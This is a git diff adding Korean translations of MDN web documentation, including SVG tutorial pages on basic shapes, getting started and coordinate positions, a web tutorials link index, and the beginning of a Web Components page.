+<pre class="brush:xml;gutter:false;">&lt;polygon points="50 160, 55 180, 70 180, 60 190, 65 205, 50 195, 35 205, 40 190, 30 180, 45 180"/&gt;</pre>
+
+<dl>
+ <dt>points</dt>
+ <dd>포인트들의 목록, 각 숫자는 공백, 쉼표, EOL 또는 줄 바꿈 문자로 구분된다. 각 포인트는 반드시 x 좌표와 y 좌표를 가지고 있어야 한다. 따라서 포인트 목록 (0,0), (1,1) 및 (2,2)는 "0 0, 1 1, 2 2"라고 쓸 수 있다. 그러면 (2,2)에서 (0,0)으로 최종 직선이 그려져서 다각형이 완성된다.</dd>
+</dl>
+
+<h3 id="Path" name="Path">Path</h3>
+
+<p><a href="/en-US/Web/SVG/Element/path" title="en-US/Web/SVG/Element/path">Path</a> 는 아마 SVG에서 사용할 수 있는 가장 일반적인 형태일 것이다. path 요소를 사용해서 당신은 사각형(둥근 모서리가 있거나 없는), 원, 타원, 폴리라인 및 다각형을 그릴 수 있다. 기본적으로 다른 모든 종류의 모양, 베지에 곡선, 2차원 곡선 등이 가능하다. 그러한 이유로, paths 는 튜토리얼의 <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">the next section</a> 에 들어가지만, 지금은 모양을 제어하는 데 사용되는 단일 속성이 있음을 알려주겠다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;path d="M 20 230 Q 40 205, 50 230 T 90230"/&gt;</pre>
+
+<dl>
+ <dt>d</dt>
+ <dd>A list of points and other information about how to draw the path. See the <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">Paths</a> section for more information.</dd>
+</dl>
+
+<div>{{ PreviousNext("Web/SVG/Tutorial/Positions", "Web/SVG/Tutorial/Paths") }}</div>
diff --git a/files/ko/web/svg/tutorial/시작하기/index.html b/files/ko/web/svg/tutorial/시작하기/index.html
new file mode 100644
index 0000000000..8a0b5c82b7
--- /dev/null
+++ b/files/ko/web/svg/tutorial/시작하기/index.html
@@ -0,0 +1,94 @@
+---
+title: 시작하기
+slug: Web/SVG/Tutorial/시작하기
+tags:
+ - SVG
+ - 'SVG:Tutorial'
+ - 초보자
+ - 튜토리얼
+translation_of: Web/SVG/Tutorial/Getting_Started
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Introduction", "Web/SVG/Tutorial/Positions") }}</p>
+
+<h3 id="A_Simple_Example" name="A_Simple_Example">간단한 예제</h3>
+
+<p>다음의 코드와 같이 간단한 예제로 시작해보겠습니다.</p>
+
+<pre class="brush: xml">&lt;svg version="1.1"
+ baseProfile="full"
+ width="300" height="200"
+ xmlns="http://www.w3.org/2000/svg"&gt;
+
+ &lt;rect width="100%" height="100%" fill="red" /&gt;
+
+ &lt;circle cx="150" cy="100" r="80" fill="green" /&gt;
+
+ &lt;text x="150" y="125" font-size="60" text-anchor="middle" fill="white"&gt;SVG&lt;/text&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>코드를 복사하여 demo1.svg로 저장하고, 파이어폭스 에서 실행해 봅시다. 아래와 같은 화면이 그려질 것입니다.(파이어 폭스 사용자 : <a href="http://developer.mozilla.org/@api/deki/files/4571/=svgdemo1.xml">링크</a>)</p>
+
+<p><img alt="svgdemo1.png" class="default internal" src="/@api/deki/files/4928/=svgdemo1.png"></p>
+
+<p>화면이 그려지는 과정은 다음과 같습니다.</p>
+
+<ol>
+ <li>SVG 루트 요소(Element)부터 시작합니다.
+ <ul>
+ <li>DTD기반의 SVG유효성 검사는 해결할 수 있는 것보다 많은 문제를 야기하기 때문에 (X)HTML로 알려진 Doctype 선언은 사용하지 않습니다.</li>
+ <li>다른 유형의 유효성 검사를 위해 SVG버전을 식별하려면 항상 version과 baseProfile 속성(Attribute)을 사용해야 합니다.</li>
+ <li>XML 특수언어(dialect)로서 SVG는 (xmlsn 속성에서) 항상 네임 스페이스(namespace)를 올바르게 바인딩 해야합니다. 자세한 내용은<a href="/en/docs/Web/SVG/Namespaces_Crash_Course"> 네임 스페이스 충돌 과정</a> 페이지를 참조하십시오.</li>
+ </ul>
+ </li>
+ <li>전체 이미지 영역을 포함하는 사각형 &lt;rect /&gt;을 그려 배경을 빨간색으로 설정합니다.</li>
+ <li>빨간색 직사각형의 중앙에 반경 80px의 녹색 원 &lt;circle /&gt;이 그려집니다</li>
+ <li>텍스트 "SVG"가 그려집니다. 각 문자의 내부는 흰색으로 채워집니다. 텍스트는 중심점이 되고자 하는 지점에 앵커를 설정하여 배치됩니다.이 경우 중심점은 녹색 원의 중심에 일치해야합니다. 글꼴 크기와 수직 위치를 미세 조정하여 심미적으로 뛰어난 최종 결과를 얻을 수 있습니다.</li>
+</ol>
+
+<h3 id="SVG_파일의_기본_속성">SVG 파일의 기본 속성</h3>
+
+<ul>
+ <li>가장 먼저 주목해야 할 것은 요소를 렌더링하는 순서입니다. SVG 파일 전체에서 유효한 규칙은, 내용의 <em>위에서 부터 아래로</em> 렌더링된다는 것입니다. 요소는 아래에 위치할수록 더 잘보이게 됩니다.</li>
+ <li>웹의 SVG 파일은 브라우저에 직접 표시되거나 HTML파일에 여러가지 방법을 통해 포함될 수 있습니다:
+ <ul>
+ <li>HTML이 XHTML이고 application/xhtml+xml 유형으로 제공되는 경우 SVG는 XML 소스에 직접 포함될 수 있습니다.</li>
+ <li>HTML이 HTML5이고 브라우저가 HTML5 브라우저를 준수하는 경우 SVG를 직접 삽입 할 수도 있습니다. 그러나 HTML5 사양을 준수하는 데 필요한 구문 변경이 있을 수 있습니다.</li>
+ <li>SVG 파일은 object 요소로 참조 할 수 있습니다:
+ <pre> &lt;object data="image.svg" type="image/svg+xml" /&gt;</pre>
+ </li>
+ <li>마찬가지로 iframe 요소로 사용할 수 있습니다:
+ <pre> &lt;iframe src="image.svg"&gt;&lt;/iframe&gt;</pre>
+ </li>
+ <li>이론적으로, img 요소로 사용될 수 있습니다만 4.0 이전의 Firefox에서는 작동하지 않습니다.</li>
+ <li>마지막으로 SVG는 JavaScript로 동적으로 생성되어 HTML DOM에 삽입 될 수 있습니다. 이는 SVG를 처리 할 수없는 브라우저에서 대체하여 구현할 수 있다는 장점이 있습니다.</li>
+ </ul>
+ 이 주제에 대해 깊이있게 다루기 위해 <a href="/en-US/docs/SVG_In_HTML_Introduction">이 문서</a>를 참조하십시오.</li>
+ <li>SVG에서 크기와 단위를 처리하는 방법에 대해서는 <a href="/en-US/Web/SVG/Tutorial/Positions">다음 페이지</a>에서 설명 할 것입니다.</li>
+</ul>
+
+<h3 id="SVG_File_Types" name="SVG_File_Types">SVG 파일 형식</h3>
+
+<p>SVG 파일은 두 가지 형태로 제공됩니다. 일반 SVG 파일은 SVG 마크업이 포함 된 간단한 텍스트 파일입니다. 이러한 파일의 권장 파일 확장자는 소문자로 ".svg"입니다.</p>
+
+<p>일부 응용 프로그램 (예 : 지리적 응용 프로그램)에 사용될 때 매우 큰 크기의 SVG 파일이 있을 수 있기 때문에 SVG 사양에서는 gzip으로 압축 된 SVG 파일을 허용합니다. 이러한 파일의 권장 파일 확장자는 소문자로 ".svgz"입니다. 하지만 안타깝게도 gzip으로 압축 된 SVG 파일을 Microsoft IIS 서버에서 서비스 할 때 모든 SVG 가능 브라우저(사용자 에이전트)에서 안정적으로 작동하게 하려면 문제가 많습니다. 그리고 Firefox는 로컬 컴퓨터에서 gzip으로 압축 된 SVG를 로드 할 수 없습니다. 웹 서버에 게시 할 때를 제외하고는 gzip으로 압축 된 SVG를 피하십시오 (아래 참조).</p>
+
+<h3 id="A_Word_on_Webservers" name="A_Word_on_Webservers">웹서버 관련 한 마디</h3>
+
+<p>이제 기본 SVG 파일을 만드는 방법에 대해 알아봤으므로 다음 단계는 웹 서버에 업로드하는 것입니다. 이 단계에서는 몇 가지 문제가 있습니다. 보통, SVG 파일의 경우 서버는 다음과 같이 HTTP 헤더를 보내야합니다.</p>
+
+<pre>Content-Type: image/svg+xml
+Vary: Accept-Encoding</pre>
+
+<p>gzip으로 압축 된 SVG 파일의 경우, 서버는 다음과 같이 HTTP 헤더를 보내야합니다.</p>
+
+<pre>Content-Type: image/svg+xml
+Content-Encoding: gzip
+Vary: Accept-Encoding</pre>
+
+<p>네트워크 모니터 패널이나 <a href="http://web-sniffer.net/">web-sniffer.net</a>과 같은 사이트를 사용하여 서버가 SVG 파일과 함께 올바른 HTTP 헤더를 보내고 있는지 확인할 수 있습니다. SVG 파일 중 하나의 URL을 전송하고 HTTP 응답 헤더를 확인해 보십시오. 서버가 위의 값으로 헤더를 보내지 않으면 웹 호스트에 문의해야합니다. 서버에 SVG를 올바르게 구성하도록하는 데 문제가 있으면 직접 할 수있는 방법이있을 수 있습니다. 다양한 간단한 솔루션에 대해서는 w3.org의 <a href="https://www.w3.org/services/svg-server/">서버 구성 페이지</a>를 참조하십시오.</p>
+
+<p>SVG를 사용하는데 있어 서버 구성 오류가 SVG로드에 실패하는 가장 일반적인 이유이기에 확인하십시오. 서버가 SVG 파일을 제공하면서 올바른 헤더를 보내도록 설정되어 있지 않다면 Firefox는 SVG파일의 마크업을 텍스트 또는 인코딩된 의미없는 값으로 표시하거나 뷰어에게 열어 볼 응용 프로그램을 선택하도록 요청할 가능성이 큽니다.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Introduction", "Web/SVG/Tutorial/Positions") }}</p>
diff --git a/files/ko/web/svg/tutorial/위치/index.html b/files/ko/web/svg/tutorial/위치/index.html
new file mode 100644
index 0000000000..391765175c
--- /dev/null
+++ b/files/ko/web/svg/tutorial/위치/index.html
@@ -0,0 +1,45 @@
+---
+title: 위치
+slug: Web/SVG/Tutorial/위치
+translation_of: Web/SVG/Tutorial/Positions
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Getting_Started", "Web/SVG/Tutorial/Basic_Shapes") }}</p>
+
+<h2 id="The_grid" name="The_grid">그리드</h2>
+
+<p><img alt="" class="internal" src="/@api/deki/files/78/=Canvas_default_grid.png" style="float: right;">모든 요소(Element)에 대해 SVG는 <a href="https://developer.mozilla.org/en/HTML/Canvas">캔버스</a>를 포함한 컴퓨터에서 무언가 그리고자 할때 많이 사용되는 것과 유사한 좌표계 또는 그리드 시스템을 사용합니다. 즉, 문서의 왼쪽 위 모서리는 (0,0)으로 간주되며 한 지점의 위치는 왼쪽 상단 모서리에서 픽셀 단위로 표시되고 X축의 양의 방향은 오른쪽, Y축의  양의 방향은 아래쪽으로 향하게됩니다. 어린시절 배웠던 그래프와는 반대라는 점을 기억하세요. 그러나 이것은 HTML의 요소가 배치되는 것과는 같은 방법입니다 (기본적으로 LTR 문서는 X를 오른쪽에서 왼쪽으로 배치하는 RTL 문서가 아닙니다).</p>
+
+<h4 id="예제">예제:</h4>
+
+<p>아래 요소는</p>
+
+<pre>&lt;rect x="0" y="0" width="100" height="100" /&gt;
+</pre>
+
+<p>왼쪽 상단에서 100px의 정사각형을 정의합니다.</p>
+
+<h3 id="픽셀이란">"픽셀"이란?</h3>
+
+<p>기본적으로 SVG 문서에서 1픽셀은 출력 장치(화면)의 1픽셀에 매핑됩니다. 하지만 이러한 방식만 가능했다면 SVG의 이름에 "확장성(Scalable)"이란 단어가 들어가 있지는 않았겠죠. CSS의 절대 및 상대 글꼴 크기와 매우 흡사하게 SVG는 절대적인 단위 ( "pt"또는 "cm"와 같은 식별자가있는 것)를 정의하고 이것을 사용자 단위(User Unit)로 명칭하며, 이것은 별도의 식별자 없이 숫자 그대로를 사용합니다.</p>
+
+<p>별도로 명시하지 않았다면, 사용자 단위와 화면 단위는 1:1의 비율로 동작합니다. SVG에는 이 비율을 변경하기 위한 몇가지 방법이 있습니다.</p>
+
+<pre>&lt;svg width="100" height="100"&gt;
+</pre>
+
+<p>위 요소는 100x100px 의 SVG 캔버스를 정의합니다. 사용자 단위와 화면 단위는 1:1의 비율로 동작합니다.</p>
+
+<pre>&lt;svg width="200" height="200" <strong>viewBox="0 0 100 100"</strong>&gt;
+</pre>
+
+<p>SVG 캔버스 전체 크기는 200x200 픽셀입니다. 그러나 viewBox속성을 사용하여 (0,0)에서 시작하는 100x100px의 화면을 200x200px의 화면에 출력합니다. 이렇게하면 100x100 단위 영역을 효과적으로 확대하고 이미지를 두 배 크기로 확대 할 수 있습니다.</p>
+
+<p>이러한 요소 혹은 전체 이미지의 사용자 단위와 화면 단위의 매핑을 사용자 좌표계(User coordinate system)이라고 합니다. 스케일링 외에도 회전, 기울이기, 뒤집기가 가능합니다. 기본 사용자 좌표계는 하나의 사용자 픽셀을 하나의 장치 픽셀에 매핑합니다. SVG파일에서 "in"또는 "cm"과 같은 특정 치수는 결과 이미지에서 1:1로 보이도록 계산됩니다.</p>
+
+<p>SVG 1.1 스펙에서는 다음과 같이 인용합니다:</p>
+
+<blockquote>
+<p>[...] 사용자 환경에서 "1px"이 "0.2822222mm" 에 대응한다고 가정했을때(90dpi), SVG는 다음과 같이 처리한다: [...] "1cm"는 "35.43307px"과 같다. (그리고 35.43307 사용자 단위와 같다.)</p>
+</blockquote>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Getting_Started", "Web/SVG/Tutorial/Basic_Shapes") }}</p>
diff --git a/files/ko/web/tutorials/index.html b/files/ko/web/tutorials/index.html
new file mode 100644
index 0000000000..4676332971
--- /dev/null
+++ b/files/ko/web/tutorials/index.html
@@ -0,0 +1,186 @@
+---
+title: 학습서
+slug: Web/Tutorials
+tags:
+ - 강좌
+ - 웹디자인
+ - 코드
+ - 학습서
+translation_of: Web/Tutorials
+---
+<p>이 페이지에는 다양한 학습서 및 교육 자료에 대한 링크가 있습니다. 여러분이 웹 개발을 이제 시작하는 사람이든지, 기초를 공부하는 사람이든지, 이미 개발을 해본 사람이든지 모범 사례에 대한 유용한 자료를 찾으실 수 있습니다. 이들 자료는 웹 개발의 개방형 표준 및 모범 사례를 채택한 미래 지향적 기업 및 웹 개발자가 창작한 것으로서 Creative Commons 등의 개방형 콘텐트 라이선스를 통해 번역을 제공 또는 허용합니다.</p>
+
+<h2 id="웹입문자를_위하여">웹입문자를 위하여</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Getting_started_with_the_web">시작해 볼까요?</a>
+
+ <p> </p>
+ </dt>
+ <dd>시작해 볼까요? 는 웹개발의 실제를 소개하는 간결한 안내서입니다. 간단한 코딩을 통해 자신만의 웹페이지를 구축할 수 있는 도구들을 준비할 수 있도록 돕습니다.</dd>
+ <dt> </dt>
+</dl>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Documentation" name="Documentation">HTML 학습서</h2>
+
+ <h3 id="입문">입문</h3>
+
+ <dl>
+ <dt><a href="http://docs.webplatform.org/wiki/guides/the_basics_of_html" rel="external">HTML의 기본</a> (WebPlatform.org)</dt>
+ <dd>HTML이 무엇인지, 무엇을 할 수 있는지, HTML의 브리핑 역사, HTML과 같은 문서구조를 보여줍니다. 훨씬 깊은 HTML의 각 부분을 하나하나 살펴 수행할 수 있습니다.</dd>
+ <dt><a href="http://reference.sitepoint.com/html/page-structure" rel="external">Wep Page의 기본 구조</a> (SitePoint)</dt>
+ <dd>큰 그림을 통해 HTML 요소에 대해 알아봅니다.</dd>
+ <dt><a href="http://reference.sitepoint.com/html/elements" rel="external">기본 HTML 요소</a> (SitePoint)</dt>
+ <dd>HTML문서를 작성하는 데 사용할 수 있는 다양한 유형의 요소를 설명합니다.</dd>
+ <dt><a href="http://htmldog.com/guides/htmlbeginner/" rel="external">HTML기초 학습서</a> (HTML Dog)</dt>
+ <dd>기본 학습서를 익히며 연습합니다.</dd>
+ <dt><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">HTML 과제</a> (Wikiversity)</dt>
+ <dd>의미있는 mark-up에 집중하여 HTML기술(예를 들어, "나는 &lt;h2&gt; 요소 또는&lt;strong&gt; 요소를 이용합니까?")을 이러한 과제에 연마, 사용합니다.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/HTML/Element">MDN HTML 요소 참조</a></dt>
+ <dd>포괄적인 HTML요소에 대한 참조 및 파이어폭스와 다른 부라우저를 지원하는 방법을 알려줍니다.</dd>
+ <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt>
+ <dd>Code Avengers는 HTML, CSS 및 자바스크립트를 사용하여 Code Wep 에플리케이션 및 게임을 배우는 재미있고 효과적인 방법입니다.</dd>
+ </dl>
+
+ <h3 id="고급">고급</h3>
+
+ <dl>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Tips_for_Authoring_Fast-loading_HTML_Pages">HTML 페이지를 빠르게 로드할 수 있게 만드는 팁</a></dt>
+ <dd>사이트 방문자들에게 더 많은 응답을 제공하고, 웹 서버와 인터넷 연결 부하를 줄여 웹 페이지를 최적화 할 수 있습니다.</dd>
+ <dt><a href="http://diveintohtml5.info/" rel="external">Dive into HTML5</a> (Mark Pilgrim)</dt>
+ <dd>HTML5, HTML의 최신버전 기능에 대해 자세히 알아보십시오.</dd>
+ <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">HTML5 학습서</a> (HTML5 Rocks)</dt>
+ <dd>HTML5 기능을 사용하여 코드를 통해 guided tour를 습득.</dd>
+ <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">HTML5의 의미</a> (A List Apart)</dt>
+ <dd>앞뒤로 호환되며, 확장 가능한 mark-up을 배울 수 있습니다.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Canvas_tutorial">Canvas 학습서</a></dt>
+ <dd>Canvas 요소를통해 스크립트를 이용하여 크래픽을 만드는 방법을 알아보십시오.</dd>
+ <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doctor</a></dt>
+ <dd>현재 HTML5를 사용하는 방법에 대한 기사.</dd>
+ <dt><a href="http://www.elated.com/articles/html5-audio/" rel="external">HTML5 오디오의 기쁨</a> (Elated)</dt>
+ <dd>쉽게 웹 페이지에 사운드를 적용시키는 HTML 오디오 요소를 사용하는 방법에 대해 알아봅니다. 더 많은 코드 예제는 학습서 안에 있습니다.</dd>
+ </dl>
+ </td>
+ <td>
+ <h2 class="Documentation" id="Documentation" name="Documentation">Javascript 학습서</h2>
+
+ <h3 id="입문_2">입문</h3>
+
+ <dl>
+ <dt><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy)</dt>
+ <dd>Codecademy는 자바 스크립트를 코딩하는 방법을 배울 수 있는 가장 쉬운 방법입니다. 친구들과 함께 재미있게 배울 수 있습니다.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/JavaScript/Getting_Started">JavaScript 시작하기</a></dt>
+ <dd>JavaScript란 무엇이며, 어떻게 도움을 줄까?</dd>
+ <dt><a href="http://docs.webplatform.org/wiki/concepts/programming/programming_basics" rel="external">Programming – 입문 </a> (WebPlatform.org)</dt>
+ <dd>프로그래밍의 기본 중의 기본. 자바스크립트를 사용하고 더 많은 것을 할 수 있는 모범사례와 무엇을 할 수 있는지 소개하는 기사.</dd>
+ <dt><a href="http://dev.opera.com/articles/view/javascript-best-practices/" rel="external">JavaScript 모범사례</a><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" title="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices"> </a>(WebPlatform.org)</dt>
+ <dd>자바 스크립트를 작성(그렇지 않아도)한 명백하고 분명한 몇 가지 모범사례에 대해 알아보십시오.</dd>
+ <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt>
+ <dd>Code Avengers는 HTML, CSS 및 자바스크립트를 사용하여 Code Wep 에플리케이션 및 게임을 배우는 재미있고 효과적인 방법입니다.</dd>
+ </dl>
+
+ <h3 id="중급">중급</h3>
+
+ <dl>
+ <dt><a href="https://developer.mozilla.org/ko/docs/A_re-introduction_to_JavaScript">JavaScript 다시 소개하기</a></dt>
+ <dd>중급 개발자들을 대상으로 자바 스크립트 프로그래밍 언어의 요점을 되풀이합니다.</dd>
+ <dt><a href="http://eloquentjavascript.net/contents.html" rel="external">Eloquent JavaScript</a></dt>
+ <dd>중급 및 고급 자바 스크립트 방법론에 대한 포괄적인 가이드.</dd>
+ <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">JavaScript 필수 디자인 패턴</a> (Addy Osmani)</dt>
+ <dd>자바 스크립트에 필요한 디자인 패턴을 소개.</dd>
+ <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">JavaScript 프로그래밍 언어</a> (YUI Blog)</dt>
+ <dd>오늘날, Douglas Crockford가 탐구해온 언어와 방법.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Introduction_to_Object-Oriented_JavaScript">객체 지향 JavaScript 소개</a></dt>
+ <dd>자바 스크립트 개체 모델에 대해 자세히 알아보십시오.</dd>
+ </dl>
+
+ <h3 id="고급_2">고급</h3>
+
+ <dl>
+ <dt><a href="http://ejohn.org/apps/learn/" rel="external">고급 JavaScript 학습</a> (John Resig)</dt>
+ <dd>John Resig의 고급 자바스크립트 가이드.</dd>
+ <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">JavaScript DOM을 소개합니다</a> (Elated)</dt>
+ <dd>이것은 어떤 문서이며, 어디가 유용합니까? 이 문서는 강력한 스크립트 기능을 부드럽게 소개합니다.</dd>
+ <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">불편한 API: DOM의 이론</a> (YUI Blog)</dt>
+ <dd>Douglas Crockford가 문서 객체 모델을 설명합니다.</dd>
+ <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">고급JavaScript</a> (YUI Blog)</dt>
+ <dd>Douglas Crockford가 자바 스크립트 프로그래머가 제작할 응용프로그램을 선택할 수 있는 코드 패턴을 유사하게 보여드립니다.</dd>
+ <dt><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Garden</a></dt>
+ <dd>자바 스크립트의 가장 독특한 부분을 설명서에서 참조하십시오.</dd>
+ <dt><a href="http://stackoverflow.com/questions/394601/which-javascript-framework-jquery-vs-dojo-vs" rel="external">어떤 JavaScript Framework를?</a> (StackOverflow)</dt>
+ <dd>자바 스크립트 프레임 워크를 선택하는 방법에 대한 조언.</dd>
+ <dt><a href="http://yuiblog.com/blog/2008/07/22/non-blocking-scripts/" rel="external">Non-blocking JavaScript Downloads</a> (YUI Blog)</dt>
+ <dd>자바 스크립트를 포함하는 페이지의 다운로드 성능 향상을 위한 팁을 제공합니다.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/JavaScript/Guide">JavaScript 가이드</a></dt>
+ <dd>초급에서 고급까지 모든 수준을 학습 할 수 있는 포괄적이고 정기적으로 업데이트 되는 자가스크립트 설명서를 참조하십시오.</dd>
+ </dl>
+ </td>
+ </tr>
+ <tr>
+ <td colspan="2">
+ <h2 class="Documentation" id="Documentation" name="Documentation">CSS 학습서</h2>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <h3 id="입문_3">입문</h3>
+
+ <dl>
+ <dt><a href="https://developer.mozilla.org/ko/docs/CSS/Getting_Started">CSS 시작하기</a></dt>
+ <dd>이 학습서는 Cascading Style Sheets (CSS)를 소개합니다. 이것은 자신의 컴퓨터에 시도할 수 있는 실용적인 예제와 CSS의 기본 기능을 안내합니다.</dd>
+ <dt><a href="http://docs.webplatform.org/wiki/guides/getting_started_with_css" rel="external">CSS 기초</a> (WebPlatform.org)</dt>
+ <dd>CSS가 무엇인지, 어떻게 HTML에 적용하는지, 기본적인 CSS구문은 어떤 것인지. 다음과 같이 배웁니다.</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">CSS Selector Classes</a> (Wikiversity)</dt>
+ <dd>CSS의 클래스는 무엇입니까?</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">외부 CSS</a> (Wikiversity)</dt>
+ <dd>외부 스타일 시트에서 CSS를 사용.</dd>
+ <dt><a href="http://www.w3.org/MarkUp/Guide/Style" rel="external">스타일에서 Touch 추가하기</a> (W3C)</dt>
+ <dd>CSS로 웹페이지를 스타일링 하는 간단한 초보자 가이드.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Common_CSS_Questions">일반적인 CSS 질문</a></dt>
+ <dd>초보자들을 위한 일반적인 질문 및 응답.</dd>
+ <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt>
+ <dd>Code Avengers는 HTML, CSS 및 자바스크립트를 사용하여 Code Wep 에플리케이션 및 게임을 배우는 재미있고 효과적인 방법입니다.</dd>
+ </dl>
+
+ <h3 id="중급_2">중급</h3>
+
+ <dl>
+ <dt><a href="https://developer.mozilla.org/ko/docs/CSS/CSS_Reference">CSS 참조</a></dt>
+ <dd>파이어 폭스와 다른 브라우저에서의 지원에 대한 세부사항, CSS 참조를 작성합니다.</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">CSS 과제</a> (Wikiversity)</dt>
+ <dd>CSS 기술을 이용해 더 많은 연습을 필요로 하는곳에 참여하십시오.</dd>
+ <dt><a href="http://www.html.net/tutorials/css/" rel="external">중급 CSS 개념</a> (HTML.net)</dt>
+ <dd>Grouping, pseudo-classes 등등.</dd>
+ <dt><a href="http://www.alistapart.com/articles/css-positioning-101/" rel="external">CSS Positioning 101</a> (A List Apart)</dt>
+ <dd>표준을 준수하여 table-free layout을 사용.</dd>
+ <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">CSS와 점진적 향상</a> (A List Apart)</dt>
+ <dd>CSS로 웹 페이지에 점진적 개선을 통합 할 수 있습니다.</dd>
+ <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Fluid Grids</a> (A List Apart)</dt>
+ <dd>typographic grid를 이용하는 동안, 유동적으로 브라우저 창 크키를 조절하는 레이아웃 디자인.</dd>
+ </dl>
+ </td>
+ <td>
+ <h3 id="고급_3">고급</h3>
+
+ <dl>
+ <dt><a href="http://addyosmani.com/blog/css3-screencast/" rel="external">5분 동안의 CSS3</a> (Addy Osmani)</dt>
+ <dd>CSS3 도입 된핵심 기능 중 일부에 대한 간단한 소개.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/CSS/Using_CSS_transforms">CSS를 사용한 변환</a></dt>
+ <dd>회전, 기울이기, 크기 조절 등의 변환을 CSS를 사용하여 적용합니다.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/CSS/CSS_transitions">CSS 전환</a></dt>
+ <dd>CSS 전환, 초안 CSS3 스펙의 일부 대신에 변경 내용이 즉시 적용하는 것에 CSS 속성 변화를 보여주는 방법을 제공합니다.</dd>
+ <dt><a href="http://www.alistapart.com/articles/understanding-css3-transitions/" rel="external">Understanding CSS3 Transitions</a> (A List Apart)</dt>
+ <dd>신중하게 상황을 선택하여 CSS3를 사용하여 전환을 시작합니다.</dd>
+ <dt><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">@font-face 윕 font를 구현하기 위한 빠른 안내</a> (HTML5 Rocks)</dt>
+ <dd>CSS3에서 @font-face 기능을 사용하면, 접근 조작 가능하거나 확장 가능한 방식으로 웹에서 사용자 지정 글꼴을 사용할 수 있습니다.</dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/ko/web/web_components/index.html b/files/ko/web/web_components/index.html
new file mode 100644
index 0000000000..f097979a1b
--- /dev/null
+++ b/files/ko/web/web_components/index.html
@@ -0,0 +1,223 @@
+---
+title: 웹 컴포넌트
+slug: Web/Web_Components
+tags:
+ - Landing
+ - NeedsTranslation
+ - Template
+ - Web Components
+ - custom elements
+ - slot
+ - 웹 컴포넌트
+translation_of: Web/Web_Components
+---
+<p>{{DefaultAPISidebar("Web Components")}}</p>
+
+<div class="summary">
+<p>웹 컴포넌트는 그 기능을 나머지 코드로부터 캡슐화하여 재사용 가능한 커스텀 엘리먼트를 생성하고 웹 앱에서 활용할 수 있도록 해주는 다양한 기술들의 모음입니다.</p>
+</div>
+
+<h2 id="개념_및_사용">개념 및 사용</h2>
+
+<p>개발자로서 우리 모두는 가능한 한 코드를 재사용하는 것이 좋은 생각이라는 것을 알고 있습니다. 이는 전통적으로 커스텀 마크업 구조에선 쉽지 않았습니다. 커스텀 UI 컨트롤을 렌더링하기위해 작성해야하는 복잡한 HTML (및 관련된 스타일과 스크립트)을 생각해보십시오. 여러번 사용할 때 조심하지 않으면 페이지가 엉망이 될 수 있습니다.</p>
+
+<p>웹 컴포넌트는 다음 문제들을 해결하는 것을 목표로 합니다 — 세 가지 주요 기술들로 구성되며, 재사용을 원하는 어느곳이든 코드 충돌에 대한 걱정이 없는 캡슐화된 기능을 갖춘 다용도의 커스텀 엘리먼트를 생성하기 위해 함께 사용될 수 있습니다.</p>
+
+<p><strong>커스텀 엘리먼트</strong>: 커스텀 엘리먼트와 그 동작을 정의할 수 있도록 해주는 JavaScript API 의 집합으로, 사용자 인터페이스에서 원했던대로 사용될 수 있습니다.</p>
+
+<ul>
+ <li><strong>Custom elements</strong>: 사용자 인터페이스에서 원하는대로 사용할 수있는 사용자 정의 요소 및 해당 동작을 정의 할 수있는 JavaScript API 세트입니다.</li>
